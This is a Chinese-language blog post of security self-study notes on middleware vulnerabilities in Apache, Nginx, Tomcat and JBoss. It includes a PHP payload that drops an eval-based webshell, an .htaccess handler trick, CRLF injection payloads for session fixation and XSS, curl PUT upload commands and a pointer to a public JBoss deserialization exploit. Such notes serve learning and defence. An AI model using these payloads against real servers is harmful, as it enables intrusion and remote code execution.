网络安全自学篇-中间件漏洞(二)

一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是中间件漏洞系列,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。

Apache解析漏洞

漏洞原因:
Apache是从右到左开始识别解析,如果识别不了就跳过继续往左识别,比如jadore.php.iso.war是Apache不可识别解析,Apache就会把其解析成php,一般可以前端绕过,如果Apache中.htaccess可被执行,且可以上传,那么可尝试在.htaccess中写入:

<FileMatch "jadore.jpg">SetHandler application/x-httpd-php</FileMatch>

然后上传shell.jpg的木马,这样shell.jpg就可解析为php文件。
**漏洞条件:**结合文件上传即可

Apache目录遍历漏洞

由于开启了允许访问目录,或者文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。

Nginx目录遍历漏洞

由于开启了允许访问目录,或者文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。

Nginx解析漏洞

Nginx<8.03
Fast-CGI默认开启,上传jadore.jpg,内容为

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

接着访问jadore.jpg/.php,在这个目录下就会生成一句话木马shell.php

Nginx-CRLF漏洞

CRLF(Carriage-Return Line-Feed)大意是指回车换行
在这里插入图片描述
在这里插入图片描述
在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
1.通过CRLF注入构造会话固定漏洞
请求参数:http://*****%0aSet-cookie:sessionid%3Dwoyun
服务器返回:

HTTP/1.1 200 OK
Location:http://*****
Set-cookie:sessionid=jadore

2.通过CRLF注入消息头引发XSS漏洞
在请求参数中插入CRLF字符:

?email=a%0d%0a%0d%0a<script>alert(/xss/);</script>

服务器返回:

HTTP/1.1 200 OK
Set-Cookie:de=a<script>alert(/xss/);</script>

原理:服务器端没有过滤\r\n,而又把用户输入的数据放在HTTP头中,从而导致安全隐患。
3.浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中包含XSS相关特征的时候就会过滤掉不显示在页面中。
通过在数据包中http头中注入X-XSS-Protection: 0,关闭IE8的XSS Filter功能。

扫描二维码关注公众号,回复: 11348754 查看本文章
?url=%0aX-XSS-Protection:%200%0d%0a%0d%0a<img%20src=1%20οnerrοr=alert(/xss/)>

九、Tomcat任意文件上传漏洞
CVE-2017-12615
条件:Tomcat安装目录下的配置文件web.xml中的org.apache.servlets.DefaultServlet方法下有该代码则表示Tomcat已经开启可PUT方法:

<init-param>
	<param-name>	
		readonly//只读属性
	</param-name>
	<param-value>
		false//关闭
	</param-value> 
</init-param>

在这里插入图片描述
因此我们可以通过PUT方式上传木马
同时如果要防御该类漏洞将false改为true即可,即不允许DELETE和PUT操作
查看Tomcat版本知道存在远程代码执行
在这里插入图片描述
创建一个.jsp文件(例如test.jsp):

<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write  executed.</h3></body></html>"); %>

在目标服务器上执行curl命令:

curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp

通过浏览到目标地址来检查文件是否已上传:

curl http://target-host-or-ip-address:port/test.jsp

JBoss反序列化RCE漏洞

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
1.下载jboss-as-6.1.0-final,下载下来是一个压缩包
http://jbossas.jboss.org/downloads/
2.把他解压到一个目录下,我的是C:\JBOSS\jboss-6.1.0.Final(路径最好不要有空格)
3…新建环境变量:JBOSS_HOME:值为: C:\JBOSS\jboss-6.1.0.Final
在path中加入:%JBOSS_HOME%\bin; (记得加分号隔开前一个路径)
4.完成环境变量配置后,在C:\JBOSS\jboss-6.1.0.Final\bin下打开cmd,输入call run.bat。运行bat文件。出现红标即成功。(记得不要忘了环境变量path中要有c:\system32…那个windows命令集变量,自行百度)
5.C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml修改配置文件,使网络中的主机都能访问 JBOSS
在这里插入图片描述
在这里插入图片描述
5.在浏览器中输入localhost:8080或127.0.0.1:8080(localhost不行可以试试这个)打开JBOSS。或者http://YourHost:8080
在这里插入图片描述
6.进入invoker/readonly,若显示HTTP Status 500 -,则显示漏洞存在。
在这里插入图片描述
7.下载EXP:git clone https://github.com/yunxu1/jboss-_CVE-2017-12149
在这里插入图片描述
8.执行命令

java -jar jboss反序列化_CVE-2017-12149.jar 

在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/106743495